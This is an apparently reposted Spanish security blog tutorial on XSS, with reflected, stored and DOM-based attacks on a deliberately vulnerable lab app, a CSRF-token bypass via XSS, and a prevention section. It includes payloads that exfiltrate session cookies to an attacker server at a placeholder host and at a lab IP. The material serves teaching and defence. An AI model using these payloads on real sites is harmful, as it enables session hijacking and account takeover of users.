Seguridad

I01 – Uso de secuencias de comandos en sitios cruzados (XSS)

 

Generalmente denominada por su
nomenclatura inglesa, Cross-Site Scripting, este tipo de
vulnerabilidad en las aplicaciones son muchas veces infravaloradas por los
equipos de desarrollo de las empresas, porque tradicionalmente se han asociado
a ataques puramente del navegador que afectan al cliente, sin ir más allá de
algún enlace como intento de phishing, etc. Pero la realidad es que este tipo
de ataques, especialmente combinados con la explotación de otras
vulnerabilidades existentes, puede ocasionar un perjuicio importante.

Consisten principalmente en la
inyección de código malicioso (generalmente JavaScript, aunque también vbscript
en casos concretos), en el contenido de aplicaciones o páginas web que otros
usuarios pueden ver. Mediante este código, se pueden llegar a robar datos
sensibles, como cookies o credenciales, redirigir al usuario a sitios
maliciosos, o suplantar la identidad del usuario afectado, para realizar
acciones en su nombre sin su consentimiento.

Hay varios tipos de XSS,
destacando fundamentalmente tres grandes clasificaciones, que se detallarán a
continuación.

Para ello, y antes de empezar, se
empleará una aplicación con determinadas vulnerabilidades activadas (en este
caso las relativas a XSS), para aprendizaje. La aplicación consiste en un
formulario de login básico, donde se accede, bien con rol de usuario o de
administración a un panel, desde donde se gestionan unos artículos con su
precio y en caso de ser el administrador, la gestión de usuarios de la
aplicación, así como otros aspectos.

Tipos

XSS reflejado

Ocurre básicamente cuando la entrada del usuario es procesada y reflejada directamente en la página web, sin ser validada o codificada adecuadamente. Esto permitiría la inyección de código de tal forma que cuando se ejecute esa petición, se refleje el resultado de dicha inyección. De esta manera, se podría enviar la URL (quizás oculta bajo un acortador de direcciones web, que se le enviase al usuario, destinatario del ataque). De esta manera el usuario, al ejecutar dicho enlace, ejecutaría también el código JavaScript contenido en la URL, que podría ser una redirección al sitio web del atacante donde, por ejemplo, se procedería al robo de la cookie de sesión del usuario en la web actual. Otro ejemplo, sería la ejecución de un «hook» malicioso contra el navegador web de la víctima, controlada a partir de ese momento por el atacante (mediante la aplicación Beef, un framework bastante conocido para la explotación web, por ejemplo).

Así, volviendo a la aplicación vulnerable mencionada, si se comprueba en el apartado de la lista de artículos, el campo de búsqueda que permite al usuario buscar por determinados artículos:

  • Conectándose a la aplicación como user1, se pueden acceder a los artículos de dicho usuario, en la lista de artículos, a través del menú «Manage Your Items».

  • Si se busca por un artículo (nombre o descripción) que exista, por ejemplo «item 1″:

Como se puede observar, el resultado se refleja en la respuesta.

  • Ahora se probará a buscar
    por una secuencia de comandos para ver si el navegador interpreta como código o
    no la respuesta:

              
Inyectando código HTML (por ejemplo, la típica cabecera entre tags <h1>…</h1>):


Indicativo de que, al menos, está interpretando el código HTML sin ningún filtro, dejando inyectar código HTML, que es interpretado por el navegador.

        – Inyectando código JavaScript. No se logrará con los típicos mensajes <script>alert(1);</script>, pero existen muchísimos payloads, teniendo un buen referente en la página de PortSwigger Academy. O si no, probando con URL encodings diferentes. Uno de los posibles payloads, por ejemplo, sería inyectar un objeto HTML de tipo imagen cuyo error en la carga motive la ejecución de un script (y ahí sí, para probar, el típico alert):
A<img src=’xxx’ onerror=»alert(1)»/>B

    – Interceptando la petición con BurpSuite, se analiza la respuesta que recibe realmente la búsqueda que cargará vía Ajax el resultado a través del parámetro search en items_search.php:

Al reenviar la respuesta al navegador, se puede comprobar la vulnerabilidad:


  • El siguiente paso sería, por ejemplo, levantar un pequeño servicio web en la máquina atacante de tal manera que se modifique ligeramente el payload (por ejemplo, por <script>document.write(«<img width=0 src=’http://<sitio_atacante>/?c=»+escape(document.cookie)+»‘/>»);<script> para conseguir robar la cookie del usuario que realizará el reenvío de esa consulta. Por ejemplo, si se le envía la URL con el payload en el parámetro de búsqueda codificado e introducido en un acortador de direcciones web al administrador del sitio.

XSS almacenado

Esta es una de las vulnerabilidades más críticas dentro de los diferentes tipos de XSS, debido a que es el único caso donde la inyección puede ser persistente, ya que el código malicioso queda almacenado permanentemente en el servidor, y afecta a todos los usuarios que visualizan el contenido, no solo a los que hacen clic en el enlace malicioso. Es decir, hay una interacción con el servidor, con lo que se podría combinar con otras vulnerabilidades para llegar incluso a controlar el acceso al mismo. Es el típico caso referente a los formularios de comentarios de opinión en un sitio, etc. Aunque también podría darse en otro tipo de datos, como tablas que almacenan resultados previamente introducidos por el usuario, donde los campos no han sido validados adecuadamente.

Volviendo al ejemplo anterior de la aplicación vulnerable. En la gestión de los artículos, se puede apreciar que existe un botón para la creación de nuevos artículos (Add New Item). Si se logra inyectar código en cualquiera de los campos del nuevo artículo (bien sea a través de cada campo, o interceptando la petición con un proxy web) teniendo en cuenta la codificación URL de los espacios y otros caracteres especiales), este XSS quedará almacenado para todos los usuarios de la aplicación. 

  • Habiendo iniciado sesión con otro usuario (user2), se trata ahora de insertar un XSS determinado para probar si la página es vulnerable en este punto. Por ejemplo, en el mismo ejemplo de antes, se permite crear nuevos artículos. Si se inserta un payload del tipo <script>alert(document.cookie)</script> en el campo descripción (que es lo suficientemente largo para poder insertar los caracteres necesarios). Al salvar el artículo:

  • Una vez comprobado que es vulnerable, se elimina el artículo (o se edita, y se reemplaza la descripción) y se crea otro que no muestre directamente el resultado por pantalla, sino que envíe, por ejemplo, la cookie del usuario a un servidor web corriendo en la máquina atacante, con el siguiente payload:
 
<script>document.write(«<img src=’http://192.168.40.132:82/?c=» + escape(document.cookie) + «‘ />»);</script>

Al ejecutar la modificación/alta, no se observará nada aparentemente extraño en la tabla resultante:

Sin embargo, en el servidor web corriendo en la máquina atacante:

  • Cuando el usuario administrador, que tiene acceso a todos los artículos, abra esa página:


y se lance silenciosamente el script ejecutado por el atacante, la cookie del administrador se mostrará como parte del parámetro de la petición realizada al servidor web del atacante:

La diferencia (y la criticidad) con respecto al XSS reflejado es notable: cualquier usuario que tenga acceso a ese registro estará afectado, mientras que, en el reflejado, se requeriría el envío del enlace malicioso a cada uno de los usuarios objetivos de dicho ataque.

  • Igualmente, este script podría ser reemplazado por un hook.js de Beef para controlar el navegador de los usuarios que se conectasen a esta página, o ejecutar scripts más sofisticados que pudieran poner en peligro otra información del servidor web.

XSS basado en DOM

En el XSS basado en DOM (Document Object Model), el código malicioso se ejecuta directamente en el lado del cliente, manipulando el DOM del navegador sin interaccionar con el servidor. Así, lo que se hace es una manipulación o modificación, del contenido dinámico de la página, mediante la ejecución de código JavaScript en el cliente, en aquellos parámetros o campos de la página que no han sido codificados ni validados correctamente. Así, todos los usuarios que ejecuten la página que ha sido manipulada, se verán afectados por este tipo de ataque.

En la aplicación de ejemplo, cuando un usuario logra hacer login en el sitio web, se le muestra como transición un lenguaje de bienvenida, que está inyectando directamente y sin validar, el nombre del usuario que ha iniciado sesión, en un .innerHTML del objeto HTML destinado a contener el mensaje de bienvenida. 

Se puede manipular ese .innerHTML inyectando el script correspondiente, de tal manera que se modifique el DOM de la respuesta, en tiempo de ejecución, en el navegador del cliente:

Y se robe la cookie de sesión del administrador, tal y como se puede apreciar en el servido del atacante:


Como el mensaje de bienvenida se redirige al panel de administración, al cabo de dos segundos, el administrador no habrá sido consciente de que se ha robado su cookie de sesión.

Ataques combinados: Evasión de token CSRF explotando vulnerabilidad XSS

En la aplicación de ejemplo, existe un panel de administración (users_mgmt.php), gestionado sólo por el administrador del sitio (user admin):


El campo Observations es vulnerable a XSS. Cada usuario puede modificar su perfil, una vez iniciada sesión en su correspondiente página de cambio de perfil, user_edit.php (incluida la contraseña).

Si se observa el detalle del código, la página web contiene un token que previene posibles ataques de CSRF/XSRF (Cross-Site Request Forgery).

Si se realiza un estudio de la fortaleza y la aleatoriedad de estos tokens, mediante el secuenciador de BurpSuite, se puede llegar a la conclusión de que es un token lo suficientemente robusto y confiable, como para intentar ser adivinado fácilmente, muy lejos de poder ser atacado por fuerza bruta.


En 2260 tokens analizados, ninguno de ellos se repetía ni una sola vez.

No obstante, como se avanzó antes, se sabe que el campo de observaciones es vulnerable a XSS. En caso de que esto ocurra, da igual la fortaleza o la aleatoriedad del token empleado: la página será vulnerable a CSRF, aunque se haya protegido. 

Así pues, se podría abusar de esta inyección sobre el campo de observaciones, para crear un script que lea el token (anti) CSRF de la página actual y ayude a evadirlo, ejecutando por ejemplo un cambio de contraseña para el usuario administrador (obsérvese que el identificador del registro viene dado por un id, y este id se utiliza en la gestión de usuarios, para editar cada usuario, incluido el propio administrador (presumiblemente el identificador 1 de la tabla, ya que el usuario «hacker» tiene el identificador 6).

Así, el usuario «hacker» tras interceptar con Burp y estudiar las peticiones de modificación de cada uno de los campos y los resultados, podría crear, por ejemplo, el siguiente script, para capturar del DOM dinámicamente el token vigente, y con él modificar la contraseña del usuario «admin«, robándole la cuenta:


Así, insertando el script en el campo Observations:


se lograría, que cuando el usuario «administrador» entre en la gestión de usuarios, active sin saberlo el script, que cambiará automáticamente la contraseña, permitiendo que el usuario «hacker» pueda robar su cuenta:

En este momento, el usuario «hacker» podrá entrar con la cuenta del administrador y la nueva contraseña…

Conclusión

No se debe subestimar nunca el poder de las inyecciones XSS, porque pueden derivar en problemas serios, incluso la toma de control del servidor web entero, si se sabe combinar bien con otras vulnerabilidades existentes en el sitio.

Medidas de prevención

Para una correcta mitigación de XSS, se deberían aplicar una serie de buenas prácticas en el desarrollo de aplicaciones web:

Validación del lado servidor y cliente

No basta con aplicar validaciones de los campos o parámetros de entrada de usuario en el cliente, porque podrían saltarse dichos controles (simplemente evitando las validaciones en lado cliente mediante la omisión de los scripts correspondientes). Es necesario tener una correcta validación en el lado servidor, validando dichos datos introducidos (o interceptados y manipulados mediante un proxy web), y descartar aquellos que pudieran ser peligrosos o no se ajustan a la funcionalidad específica de la aplicación.

Aplicación correcta de funciones para el escapado y la codificación

Se debe asegurar que la codificación de los datos introducidos por el usuario sea la correcta antes de que los datos se interpreten por el navegador, escapando los caracteres considerados como «peligrosos» mediante la funcionalidad existente en el lenguaje de servidor empleado, destinada a tal efecto. Por ejemplo, en PHP hay funcionalidades como htmlspecialchars o htmlentities que escapan ciertos caracteres (o todos los posibles, en el caso de la última) a su equivalente en HTML. Estas medias por sí solas no son 100% confiables, puesto que existen medidas de evasión, pero combinadas con el resto y una buena validación, son una buena opción defensiva.

Uso de «listas blancas»

Uso de listas blancas frente al uso de listas que descarten el uso de ciertos caracteres o expresiones registradas. Es mejor siempre autorizar el uso de cierta información, a rechazar el uso de otra, para la que siempre se podría buscar un sistema de evasión o sustitución. Esto siempre debería tenerse en cuenta a la hora de establecer determinadas reglas en el WAF (Web Application Firewall) empleado.

Uso de métodos para evitar la construcción dinámica del DOM (Document Object Model)

Se deben intentar utilizar siempre métodos seguros que eviten la inserción de datos no validados en el DOM, a través de JavaScript, como son setAttribute o textContent, en lugar de innerHTML, por ejemplo.

Empleo de cabeceras de seguridad

Content Security Policy (CSP)

Implementar, con esta cabecera de seguridad, una política de seguridad de contenidos para restringir qué tipo de recursos pueden ejecutarse en la aplicación web, evitando o bloqueando la inyección de scripts maliciosos.

Content-Security-Policy: default-src ‘self’; script-src ‘self’  http://example.com; object-src ‘none’ 

>El código anterior permitirá cargar recursos únicamente del mismo origen del servidor, permitiendo únicamente la carga de scripts del mismo origen o del sitio ficticio https://example.com, bloqueando completamente la carga de objetos tipo embed, object o applet, que pudieran ser determinados vectores de ataque,

X-Content-Type-Options

Evitar ataques basados en el análisis de contenido (MIME sniffing) para intentar de esta manera ejecutar scripts maliciosos:

    X-Content-Type-Options: no-sniff

X-XSS-Protection

Activar mediante esta cabecera el filtro XSS empleado por algunos navegadores para prevenir la ejecución de ciertos scripts maliciosos. No tan robusto en cuanto a seguridad como las anteriores cabeceras, pero una medida adicional útil: Se habilita el filtro y si se detecta un ataque XSS, el navegador bloque la ejecución del script, en lugar de intentar sanear el contenido (de todas formas, se debería implementar medidas de saneamiento a nivel de servidor siempre)

    X-XSS-Protection: 1; mode=block

X-Frame-Options

Mediante la prohibición explícita de que pueda embeberse esta página dentro de algún X-Frame, se garantiza que no se puedan dar ataques de clickjacking que puedan combinarse con XSS, incorporando una página atacante que ejecute el script malicioso inyectado dentro de un iframe.

    X-Frame-Options: DENY

Cross-Origin Resource Sharing (CORS)

Mediante la cabecera CORS se controla qué dominios pueden realizar peticiones hacia el servidor web desde otros orígenes. Configurado de la manera correcta, puede limitar el acceso a recursos sensibles desde sitios maliciosos (incluidas combinaciones de XSS con SSRF, etc.)

    Access-Control-Allow-Origin: http://example.com 

Cache-Control

Si se emplea una mala configuración del almacenamiento caché, se podría dar pie al almacenamiento de contenido malicioso o sensible de forma insegura. De esta manera, mediante la configuración adecuada de esta cabecera se podrá prevenir que determinado contenido dinámico que se ejecute con la respuesta a determinados formularios, no se almacene en caché.

    Cache-Control: no-store, no-cache, must-revalidate

Referrer-Policy

Aunque esta cabecera tampoco está directamente relacionada con XSS, si el navegador enviase, como parte de la cabecera Referrer, cierta información, una atacante podría aprovecharse de esta información para explotar determinados datos sensibles de las URLs mostradas como parte de esta cabecera, que en ocasiones incluyen parámetros inyectables, para explotar un XSS, por ejemplo.

Powered by WPeMatico

Gustavo Genez

Informático de corazón y apasionado por la tecnología. La misión de este blog es llegar a los usuarios y profesionales con información y trucos acerca de la Seguridad Informática.